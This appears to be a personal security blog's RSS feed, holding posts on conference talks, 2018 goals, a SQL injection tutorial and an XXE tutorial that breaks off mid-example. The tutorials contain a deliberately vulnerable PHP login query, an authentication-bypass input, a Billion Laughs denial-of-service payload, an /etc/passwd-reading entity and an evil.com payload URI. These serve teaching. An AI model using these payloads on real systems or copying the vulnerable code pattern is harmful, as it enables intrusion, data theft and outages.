<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Cave Confessions</title>
    <link>//caveconfessions.com/index.xml</link>
    <description>Recent content on Cave Confessions</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <copyright>All rights reserved - 2018</copyright>
    <lastBuildDate>Mon, 01 Jan 2018 00:00:00 +0000</lastBuildDate>
    <atom:link href="//caveconfessions.com/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>2018 Goals</title>
      <link>//caveconfessions.com/2018-goals/</link>
      <pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate>
      
      <guid>//caveconfessions.com/2018-goals/</guid>
      <description>

&lt;p&gt;I am not normally a person who makes goals on New Years. I&amp;rsquo;m not really a goal setter in general, or at least I haven&amp;rsquo;t been. What I am, though, is a habit builder. I think that building new habits for my betterment is the right way to go. I think being accountable helps me to stay on track to actually make my habits stick. And to that end, here are some goals that I have for some new habits I&amp;rsquo;m attempting to build.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h2 id=&#34;professional&#34;&gt;Professional&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;I would like to be more engaged in the information security community, actually contributing to the dialogue and not just watching it go by.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tweet More (no real objective here)&lt;/li&gt;
&lt;li&gt;Write more blog posts (at least once a month)&lt;/li&gt;
&lt;li&gt;Submit at least 5 talks this year&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Finish building out home lab&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;rebuild ESXi server with new components&lt;/li&gt;
&lt;li&gt;setup vms for testing

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://information.rapid7.com/metasploitable-download.html&#34;&gt;Metasploitable&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project&#34;&gt;Mutillidae&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.dvwa.co.uk/&#34;&gt;DVWA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.mmebvba.com/sites/bwapp/&#34;&gt;Bwapp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/lanmaster53/pwnedhub&#34;&gt;pwnedhub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Create my own web app for testing&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Develop a tool for web application testing&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I have a few ideas for this, but not actually started to code anything up yet.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;health-fitness&#34;&gt;Health / Fitness&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;I commited to my sister that I will join here for a sprint triathalon this summer. (I know, I&amp;rsquo;m not sure what I was thinking)

&lt;ul&gt;
&lt;li&gt;Swimming

&lt;ul&gt;
&lt;li&gt;Learn and practice Total Immersion swimming technique&lt;/li&gt;
&lt;li&gt;Do an open water swim (the tri is a pool swim, but I would personally like to get to the point where I&amp;rsquo;m comfortable enough to do an open water swim)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Biking

&lt;ul&gt;
&lt;li&gt;Learn and practice the Zendurance biking techniques&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Running

&lt;ul&gt;
&lt;li&gt;Learn and practice Chi Running techniques&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;personal&#34;&gt;Personal&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Focus on the positive to build a better mental state&lt;/li&gt;
&lt;li&gt;Learn a new technology&lt;/li&gt;
&lt;li&gt;Learn a new language&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&#34;footnotes&#34;&gt;
    &lt;hr&gt;
    &lt;ul&gt;
        &lt;li&gt;
            Photo by &lt;a href=&#34;https://unsplash.com/photos/505eectW54k?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText&#34;&gt;Thought Catalog&lt;/a&gt; on &lt;a href=&#34;https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText&#34;&gt;Unsplash&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>BSides NOLA 2017</title>
      <link>//caveconfessions.com/bsides-nola-2017/</link>
      <pubDate>Sun, 02 Apr 2017 00:00:00 -0500</pubDate>
      
      <guid>//caveconfessions.com/bsides-nola-2017/</guid>
      <description>&lt;p&gt;On April 1st I was honored by being able to speak again at
&lt;a href=&#34;http://www.securitybsides.com/w/page/104051753/BSidesNOLA%202016&#34;&gt;BSides NOLA&lt;/a&gt;.
There were so many wonderful talks, I really wish there are more mes so I could
have attended them all.&lt;/p&gt;

&lt;!-- more--&gt;

&lt;p&gt;My Talk was focused on looking at XSS (Cross Site Scripting) and really digging
into the harm that can really be done, when someone else can control your
browser. If you missed it, booooo, it was an awesome talk. But, here are the
slides if you want to see what I covered.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Slides can be found &lt;a href=&#34;https://github.com/jbarone/Presentations/blob/master/XSS_to_alert_and_beyond/XSS_to_alert_and_beyond.pdf&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Demo / Lab environment can be found &lt;a href=&#34;https://github.com/jbarone/xsslab&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>The Web&#39;s Most Wanted</title>
      <link>//caveconfessions.com/sql-injection/</link>
      <pubDate>Sun, 01 May 2016 00:00:00 -0500</pubDate>
      
      <guid>//caveconfessions.com/sql-injection/</guid>
      <description>&lt;p&gt;OWASP has a top ten list that ranks the most critical attacks against web
applications. At the top of this list is Injection Attacks. SQL injection is
one of this type of attacks. This post is a walk through of what the attack is
and a look at more advanced versions of the attack.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h2 id=&#34;sql-primer&#34;&gt;SQL Primer&lt;/h2&gt;

&lt;p&gt;The Structured Query Language (SQL) is the language of databases. This is the
language that humans use to talk to databases to get information out or put
information in. It should be noted that SQL is supported by most all Relational
Database Management Systems (RDBMS). These include
&lt;a href=&#34;https://www.mysql.com&#34;&gt;MySQL&lt;/a&gt;, &lt;a href=&#34;http://www.microsoft.com/sqlserver/&#34;&gt;MSSQL&lt;/a&gt;,
&lt;a href=&#34;http://www.postgresql.org/&#34;&gt;PostgreSQL&lt;/a&gt;, &lt;a href=&#34;https://www.sqlite.org/&#34;&gt;SQLite&lt;/a&gt;,
and &lt;a href=&#34;https://www.oracle.com/database/index.html&#34;&gt;Oracle&lt;/a&gt; to name a few of the
more popular ones.&lt;/p&gt;

&lt;h3 id=&#34;database-structure&#34;&gt;Database Structure&lt;/h3&gt;

&lt;p&gt;A database is an organized collection of data. The data itself is located in
tables within the database. There are other items within a databases, but for
our purposes here we are only concerned with the data in the tables.&lt;/p&gt;

&lt;p&gt;A table is a collection of related data held in a structured format. The data
is divided by vertical columns, or fields. Each record of data is a row in the
table. A table has a limited and specified number of columns, but an unlimited
number of rows possible.&lt;/p&gt;

&lt;h3 id=&#34;sql-commands&#34;&gt;SQL Commands&lt;/h3&gt;

&lt;p&gt;SQL provides several commands for altering and querying the database for the
purposes of this primer we will focus on four main commands SELECT, INSERT,
UPDATE, DELETE. These commands can be split into two categories based on what
effect they have on the data.&lt;/p&gt;

&lt;h4 id=&#34;modify-data&#34;&gt;Modify Data&lt;/h4&gt;

&lt;p&gt;These commands are used to add / change / remove data from a table in a
database. These commands are INSERT, UPDATE, and DELETE respectively.&lt;/p&gt;

&lt;h5 id=&#34;insert&#34;&gt;INSERT&lt;/h5&gt;

&lt;p&gt;This command is used to add data into table. The grammar for this command is:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;INSERT INTO table_name [( column_identifier [, column_identifier]...)] VALUES (insert_value[, insert_value]...)
&lt;/code&gt;&lt;/pre&gt;

&lt;dl&gt;
    &lt;dt&gt;table_name&lt;/dt&gt;
    &lt;dd&gt;The name of the table where the data is being inserted&lt;/dd&gt;
    &lt;dt&gt;column_identifier&lt;/dt&gt;
    &lt;dd&gt;The name of the column to map the inserted value to&lt;/dd&gt;
    &lt;dt&gt;insert_value&lt;/dt&gt;
    &lt;dd&gt;The value to be inserted into the column identified with the same index
    as the value to be inserted.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;INSERT INTO users VALUES (1, &#39;bob&#39;, &#39;password&#39;);
INSERT INTO example (id, name, description) VALUES (42, &#39;Tart&#39;, &#39;It is so yummy&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;update&#34;&gt;UPDATE&lt;/h5&gt;

&lt;p&gt;This command is used to change data in a table. It&amp;rsquo;s grammar is:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;UPDATE table_name
     SET column_identifier = {expression | NULL }
          [, column_identifier = {expression | NULL}]...
     [WHERE search_condition]
&lt;/code&gt;&lt;/pre&gt;

&lt;dl&gt;
    &lt;dt&gt;table_name&lt;/dt&gt;
    &lt;dd&gt;The name of the table where the data is being inserted&lt;/dd&gt;
    &lt;dt&gt;column_identifier&lt;/dt&gt;
    &lt;dd&gt;The name of the column whose value is being changed&lt;/dd&gt;
    &lt;dt&gt;expression&lt;/dt&gt;
    &lt;dd&gt;This is the value that column is being set to.&lt;/dd&gt;
    &lt;dt&gt;search_condition&lt;/dt&gt;
    &lt;dd&gt;This is an expression that is used to filter the table so only
    specified rows are altered.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;UPDATE users SET username = &#39;bobby&#39; WHERE id = 1;
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;delete&#34;&gt;DELETE&lt;/h5&gt;

&lt;p&gt;This command is used to remove a row from a table. The grammar for this command
is:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;DELETE FROM table_name [WHERE search_condition]
&lt;/code&gt;&lt;/pre&gt;

&lt;dl&gt;
    &lt;dt&gt;table_name&lt;/dt&gt;
    &lt;dd&gt;The name of the table where the data is being inserted&lt;/dd&gt;
    &lt;dt&gt;serch_condition&lt;/dt&gt;
    &lt;dd&gt;This is an expression that is used to filter the table so only
    specified rows are removed.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h4 id=&#34;retrieve-data&#34;&gt;Retrieve Data&lt;/h4&gt;

&lt;p&gt;This is the heart of SQL. It is all well and good to modify the data in a
database but what people really want is the ability to query that data, and
generate pretty reports. To actually get the data out of the database the all
powerful SELECT statement is needed.&lt;/p&gt;

&lt;h5 id=&#34;select&#34;&gt;SELECT&lt;/h5&gt;

&lt;p&gt;This command is truely the work horse command of the Structured Query Language.
Which also means that the grammar for this command can be immensely complicated.
The simplest form of the grammar for this command is:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT [ALL | DISTINCT] select_list
     FROM table_list
          [WHERE search_condition]
               [order_by_clause]
&lt;/code&gt;&lt;/pre&gt;

&lt;dl&gt;
    &lt;dt&gt;select_list&lt;/dt&gt;
    &lt;dd&gt;This is a comma seperated list of the columns that are to be returned,
    or the wildcard (*) if all columns are to be returned.&lt;/dd&gt;
    &lt;dt&gt;table_list&lt;/dt&gt;
    &lt;dd&gt;This is a comma seperated list of tables to use for the data source.
    This could be made even more complicated by including JOIN statements.
    (due to the complexity of joining tables, it will be left to the reader to
    learn about them on their own)&lt;/dd&gt;
    &lt;dt&gt;search_condition&lt;/dt&gt;
    &lt;dd&gt;This is an expression that is used to filter the table(s) so only
    specified rows are returned.&lt;/dd&gt;
    &lt;dt&gt;order_by_clause&lt;/dt&gt;
    &lt;dd&gt;This specifies the colums to be sorted on, and in which direction&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM example_table;
SELECT id, username, password FROM users WHERE id = 1;
SELECT id, price, name FROM items ORDER BY price ASC;
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;union&#34;&gt;UNION&lt;/h5&gt;

&lt;p&gt;One more SQL command that needs to be understood is UNION. This command is used
to combine the output of multiple SELECT statements into one result set. The
big thing to keep in mind with union queries is that the queries being combined
need to be returning the same number of columns, and the order will matter
because the data types need to match or be convertable.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;select_query UNION [ALL] select_query
&lt;/code&gt;&lt;/pre&gt;

&lt;dl&gt;
    &lt;dt&gt;select_query&lt;/dt&gt;
    &lt;dd&gt;This is a valid SELECT query&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT id, name FROM users UNION SELECT id, name FROM employees;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;sql-injection&#34;&gt;SQL Injection&lt;/h2&gt;

&lt;p&gt;SQL Injection attacks come about when code uses unvalidated and/or unsanitized
to dynamically construct queries that are sent to the backend database. When
this happens, the risk is now open to be attacked by malicious actors. So what
exactly does this look like?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
if(isset($_POST[&#39;Submit&#39;]){
    $user = $_POST[&#39;user&#39;];
    $pass = $_POST[&#39;password&#39;];
    $re = mysql_query(
        &amp;quot;SELECT * FROM users &amp;quot; .
        &amp;quot;WHERE user_name = &#39;$user&#39; AND password = &#39;$pass&#39;&amp;quot;
    );

    if(mysql_num_rows($re) == 0){
        print &#39;Incorrect username or password&#39;;
    }else{
        print &#39;Welcome&#39;;
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In this example code we can see that the username and the password are plucked
directly from the POST and place right into the query that is being executed.
This problem can be demonstrated easily by thinking about what happens when
malicious content is POSTed. For Examples:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;user: admin
pass: &#39; OR &#39;1&#39;=&#39;1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If this is what is sent to the page above then there is a problem. Let&amp;rsquo;s look
at what the created query actually is with these values.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM users WHERE user_name = &#39;admin&#39; AND password = &#39;&#39; OR &#39;1&#39;=&#39;1&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We can see that event with the extra single quotes (&amp;lsquo;) in the pass value, the
created query is still valid and will execute. So what is this query asking?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Is the user_name &amp;lsquo;admin&amp;rsquo;&lt;/li&gt;
&lt;li&gt;Also make sure that the password is blank, or 1 is equal to 1.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With this question, the password should never be blank, but 1 is always equal
to 1, so the password check has essentailly been negated. If there is a user
that has the name &amp;lsquo;admin&amp;rsquo; then, that is the row that will be returned. This is
a classic example of authentication bypass using SQL Injection.&lt;/p&gt;

&lt;p&gt;In this world of data-driven web applications there are cases where the data
being retrieved from the database is displayed back on the page. When this data
is being filtered in some way based on user input, or input that could be
manipulated by a user, then the circumstances create a situation where an
attacker could query and alter the data at whim.&lt;/p&gt;

&lt;h2 id=&#34;next-time&#34;&gt;Next Time&lt;/h2&gt;

&lt;p&gt;This is the first in a series of post that will dive into the wonderful world
of SQL injection. The next will focus on UNION based SQL Injections which is
a way to easily see the information that is being extracted.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>BSides NOLA 2016</title>
      <link>//caveconfessions.com/bsides-nola-2016/</link>
      <pubDate>Fri, 22 Apr 2016 18:05:56 -0500</pubDate>
      
      <guid>//caveconfessions.com/bsides-nola-2016/</guid>
      <description>&lt;p&gt;On April 16th I had the pleasure of speaking at
&lt;a href=&#34;http://www.securitybsides.com/w/page/104051753/BSidesNOLA%202016&#34;&gt;BSides NOLA&lt;/a&gt;.
The conference was excellent, as usual. I learned an absolute ton of cool new
information, and was able to meet and speak with really smart people. I am
particularly interested in looking into database forensics a lot more.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;My particular talk was titled &amp;ldquo;The Web&amp;rsquo;s Most Wanted.&amp;rdquo; I had a great time
giving the talk. And from what I can tell it was well received. I will be
rolling out a couple new blog posts covering the material from the talk over the
next couple of days. So, please stay tuned for that.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Slides from my talk can be found &lt;a href=&#34;//caveconfessions.com/files/Webs_Most_Wanted.pdf&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Demo / Lab environment can be found &lt;a href=&#34;https://github.com/jbarone/SQueaL&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>About Me</title>
      <link>//caveconfessions.com/about/</link>
      <pubDate>Sun, 20 Mar 2016 15:25:11 -0400</pubDate>
      
      <guid>//caveconfessions.com/about/</guid>
      <description>&lt;p&gt;I have over a decade of experience as a software developer, with a
majority of that time specialized in security design and development. I have a
core background in Java, .Net, Python, Go, and secure design and development.
I am experienced and well practiced in .Net and Java enterprise technologies,
web services, agile methodologies, open source, and test-driven development.
I have worked with a variety of platforms (Windows, Mac OS X, Linux, Unix),
databases (PostgreSQL, MySQL, MSSQL, Oracle), J2EE Application Servers,
software development methodologies, and development environments and tools.&lt;/p&gt;

&lt;p&gt;I hold a collection of certifications including Certified Information System
Security Professional (CISSP), GIAC Security Essentials (GSEC), GIAC Certified
Intrusion Analyst (GCIA), GIAC Certified Incident Handler (GCIH), and
GIAC Certified Web Application Penetration Tester (GWAPT). I also have my
Masters of Computer Science from the University of New Orleans.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>XXE - The Ugly Side of XML</title>
      <link>//caveconfessions.com/xxe-ugly-side-of-xml/</link>
      <pubDate>Sat, 06 Feb 2016 16:00:00 -0600</pubDate>
      
      <guid>//caveconfessions.com/xxe-ugly-side-of-xml/</guid>
      <description>&lt;p&gt;The eXtensible Markup Language (XML) has a very long and lustrious reputation
for being he go-to language for storing and transferring self describing data.
Unfortunately though, XML&amp;rsquo;s root have presented a problem that can plauge many
improperly configured parsers. This problem is known as eXternal XML Entity
attacks (XXE).&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h2 id=&#34;extensible-markup-language-xml&#34;&gt;Extensible Markup Language (XML)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/XML&#34;&gt;Extensible Markup Language (XML)&lt;/a&gt; is
designed to be a markup language that expresses data in a format that is both
human and machine readable. It is defined by the
&lt;a href=&#34;https://www.w3.org/TR/REC-xml/&#34;&gt;W3C&amp;rsquo;s XML 1.0 Specification&lt;/a&gt;. XML is actually
a subset of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Standard_Generalized_Markup_Language&#34;&gt;Standard Generalized Markup Language
(SGML)&lt;/a&gt; and
it is from this specification that XML inherited the &lt;a href=&#34;https://en.wikipedia.org/wiki/Document_type_definition&#34;&gt;Document Type Definition
(DTD)&lt;/a&gt;. DTD is a
language that allows for the definition of the schema used within an XML
document. This is an example of an XML document used to define the layout of
web page (XHTML) that includes the DTD header that is used to define the
acceptable tags in the page:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE html PUBLIC
	&amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot;
	&amp;quot;DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;
&amp;lt;html
	xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;
	xml:lang=&amp;quot;en&amp;quot; lang=&amp;quot;en&amp;quot;&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;Page Title&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;

	&amp;lt;body bgcolor=&amp;quot;#FFFFFF&amp;quot; link=&amp;quot;#000000&amp;quot; text=&amp;quot;red&amp;quot;&amp;gt;
		&amp;lt;p&amp;gt;Page Content&amp;lt;/p&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;document-type-definition-dtd&#34;&gt;Document Type Definition (DTD)&lt;/h2&gt;

&lt;p&gt;The Document Type Definition (DTD) defines the building blocks of the XML
document. It does this by laying out the acceptable elements and attributes
allowed in the document. This definition can be made either inline (in the
document), or held in an external document.&lt;/p&gt;

&lt;p&gt;DTD contains another definition type called ENTITY. The entity definition works
like a variable or a macro, in that it will allow for the definition of large
or unwieldy data that can be stored in a single variable that can be used in
several places within the document. There are two ways to use this definition.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY author &amp;quot;Joshua Barone&amp;quot; &amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would allow for the substitution to be used in the document.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;&amp;amp;author;&amp;lt;/name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Which would be rendered as:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;Joshua Barone&amp;lt;/name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;There is also the ability to make a parameter definition. These simply add the
&lt;code&gt;%&lt;/code&gt; character to denote the type:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % author &amp;quot;Joshua Barone&amp;quot; &amp;gt;
&amp;lt;!ENTITY % awesome &amp;quot;&amp;amp;author; is awesome!&amp;quot; &amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would be used as before:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;message&amp;gt;&amp;amp;awesome;&amp;lt;message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Which would be rendered as:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;message&amp;gt;Joshua Barone is awesome!&amp;lt;/message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The magic that happened here with the parameter definition is that it&amp;rsquo;s Content
could be used in the definition of another entity. This will become important
later.&lt;/p&gt;

&lt;h2 id=&#34;the-attack&#34;&gt;The Attack&lt;/h2&gt;

&lt;p&gt;All of this was lead up to the actual attack. The  XML eXternal Entity (XXE)
attacks work my leveraging the fact that DTD entities can be defined in an
external source. These external definitions are defined by using the SYSTEM
attribute to denote that the document is to be parsed and included. These
definitions have the following syntax:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY name SYSTEM &amp;quot;uri&amp;quot; &amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Where name specifies the name of the entity that will hold the contents of the
parsed document, and uri refers to the URI where the document can be found.
Because it is a URI that is used, is where the danger really lies. The URI can
be used to reference all of the following:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;Payload Document&lt;/dt&gt;
&lt;dd&gt;A document where a more complex XXE attack can be staged
`http://evil.com/payload.dtd`&lt;/dd&gt;
&lt;dt&gt;Local File&lt;/dt&gt;
&lt;dd&gt;Reference any document stored on the local machine that the current user
context has access to. `file:///etc/passwd`&lt;/dd&gt;
&lt;dt&gt;Filters&lt;/dt&gt;
&lt;dd&gt;Languages like php, java, and others provide specific syntax for defining
filters in the URI `php://filter/convert.base64-encode/resource=index.php`
&lt;/dl&gt;

&lt;p&gt;And there are others. The only limitation is in the imagination to abuse the URI.&lt;/p&gt;

&lt;h3 id=&#34;billion-laughs-attack&#34;&gt;Billion Laughs Attack&lt;/h3&gt;

&lt;p&gt;The Billion Laughs Attack is a simple denial of service (DOS) style of attack
using XXEs. It works by using the expansion properties of the DTD language.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE lolz [
 &amp;lt;!ENTITY lol &amp;quot;lol&amp;quot;&amp;gt;
 &amp;lt;!ELEMENT lolz (#PCDATA)&amp;gt;
 &amp;lt;!ENTITY lol1 &amp;quot;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol2 &amp;quot;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol3 &amp;quot;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol4 &amp;quot;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol5 &amp;quot;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol6 &amp;quot;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol7 &amp;quot;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol8 &amp;quot;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;quot;&amp;gt;
 &amp;lt;!ENTITY lol9 &amp;quot;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;quot;&amp;gt;
]&amp;gt;
&amp;lt;lolz&amp;gt;&amp;amp;lol9;&amp;lt;/lolz&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This incredibly small amount of code (&amp;lt; 1KB) will expand to take up
approximately 3 gigabytes of memory. This happens due to the exponential growth
that is happening due to how the entities are defined. The single &lt;code&gt;lol9&lt;/code&gt; will
be replaced with 10 &lt;code&gt;lol8&lt;/code&gt; entities. Which are each replaced by 10 &lt;code&gt;lol7&lt;/code&gt;
entities. And so on it goes.&lt;/p&gt;

&lt;h3 id=&#34;file-exfiltration&#34;&gt;File Exfiltration&lt;/h3&gt;

&lt;p&gt;This attacks uses the external nature of the ENTITY to include a file on the
local system. Remember this is local to the system that is parsing the XML.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE hacks [
 &amp;lt;!ENTITY passwd SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;
]&amp;gt;
&amp;lt;hacks&amp;gt;&amp;amp;passwd;&amp;lt;/hacks&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;When this file is parsed, the hacks tags would contain the content of the
servers passwd file.&lt;/p&gt;

&lt;h3 id=&#34;remote-code-execution&#34;&gt;Remote Code Execution&lt;/h3&gt;

&lt;p&gt;If the server that has this vulnerability is php and has the expect plugin
installed, it may be open to even more insidious attacks. The expect pluginis
designed to allow for a php application to run command line commands and
interact with them. The plugin also allows for using the &lt;code&gt;expect://&lt;/code&gt; filter in
a URI. Which means that it can be used in the XXE attack.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE hacks [
